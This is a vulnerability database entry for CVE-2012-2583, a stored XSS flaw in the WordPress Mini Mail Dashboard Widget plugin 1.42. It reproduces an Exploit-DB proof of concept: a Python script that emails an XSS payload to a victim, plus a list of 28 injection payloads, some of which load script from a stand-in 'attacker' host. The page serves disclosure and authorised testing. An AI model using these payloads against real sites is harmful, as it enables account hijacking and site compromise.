CVE-2012-2583

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Published 2014-09-17 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

Cross-site scripting (XSS) vulnerability in Mini Mail Dashboard Widget plugin 1.42 for WordPress allows remote attackers to inject arbitrary web script or HTML via the body of an email.

Predictions

Exploit likelihood

20%

Patch ETA

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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-20358 webapps php verified python · 4 KB

loneferret · 2012-08-08

WordPress Plugin mini mail Dashboard widget 1.42 - Persistent Cross-Site Scripting

python exploit Source: Exploit-DB

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Mini Mail Dashboard Widget 
Version: 1.42
Software Download: http://wordpress.org/extend/plugins/mini-mail-dashboard-widget/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
14 Jul 2012: Version 1.43 released
08 Aug 2012: Public Disclosure

Installed On: Ubuntu Server LAMP 8.04
Wordpress: 3.3.1
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8

Extra note:
To execute the XSS, a user needs to click 'view in HTML'


Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 
2: <SCRIPT>alert('XSS')</SCRIPT> 
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <DIV STYLE="width: expression(alert('XSS'));">
6: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
7: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
8: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
9: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
10: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
11: <XSS STYLE="xss:expression(alert('XSS'))">
12: <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
13: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
14: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--
15: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
16: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
17: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
18: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
19: <<SCRIPT>alert("XSS");//<</SCRIPT>
20: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
21: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
22: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
23: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
24: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
25: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
26: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>
27: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
28: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''

import smtplib, urllib2
 
payload = """<SCRIPT>alert('XSS')</SCRIPT>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

Application impact

Vendor	Product	Versions	Fixed
mini_mail_dashboard_widget_project	mini_mail_dashboard_widget	`1.42`

References

CWEs

CWE-79

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